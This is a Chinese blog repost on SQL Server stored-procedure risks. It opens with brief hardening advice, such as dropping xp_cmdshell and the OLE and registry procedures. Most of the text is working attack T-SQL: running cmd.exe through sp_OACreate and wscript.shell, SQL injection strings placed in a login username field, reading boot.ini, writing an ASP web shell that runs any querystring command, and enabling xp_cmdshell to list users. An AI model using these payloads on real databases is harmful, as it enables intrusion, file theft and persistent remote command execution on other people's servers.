危险的SQL Server!(转自:http://bbs.51cto.com/archiver/tid-398614.html和http://www.sai52.com/archives/450/)

对存储过程进行大手术,并且对帐号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。 如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句: 

use master 

_dropextendedproc 'xp_cmdshell' 

xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 

如果你不需要请丢弃OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下: 

Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty 

Sp_OAMethod Sp_OASetProperty Sp_OAStop 

去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下: 

Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues 

Xp_regread Xp_regremovemultistring Xp_regwrite 

还有一些其他的扩展存储过程,你也最好检查检查。 在处理存储过程的时候,请确认一下,避免造成对数据库或应用程序的伤害。 

 

 

 

 

sp_OACreate:运行CMD并显示回显的要求是Wscript.shell和Scripting.FileSystemObject可用

sp_OACreate
在 Microsoft SQL Server实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
---------------------------------------------------------------------
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...] 
---------------------------------------------------------------------
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]
---------------------------------------------------------------------
思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。
以下是相应的SQL语句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

注意:
如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。
-------------------------------------------------------------------------------------------------------------------
(1)这个例子使用'wscript.shell'对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
我们可以通过指定在用户名后面来执行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'--

(2)这个例子使用'scripting.filesystemobject'对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:/boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end

 

(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:/inetpub/wwwroot/foo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>'
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。


(4)这些例子阐述了这个技术的适用性;它可以使用'speech.voicetext'对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

 

 

 

 

我(lslxdx)整理了下xp_cmdshell和sp_aomethod的可以执行的语句,对大家会有些用(一下语句没有任何危险性):

 

--打开oamethod--

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

 

--开始执行oamethod--

DECLARE @shell INT

DECLARE @fso INT

DECLARE @file INT

DECLARE @isEnd BIT

DECLARE @out VARCHAR(400)

EXEC sp_oacreate 'wscript.shell',@shell output

EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user','0','true'

go

 

--没事的话就关闭oamethod--

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 0;

GO

RECONFIGURE;

GO

 

 

--打开xp_cmdshell--

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'xp_cmdshell', 1;

GO

RECONFIGURE;

GO

 

--使用dos命令显示本计算机上的所有用户名--

EXEC xp_cmdshell   'net user'

go

 

 

--没事的话就关闭xp_cmdshell--

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'xp_cmdshell', 0;

GO

RECONFIGURE;

GO

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值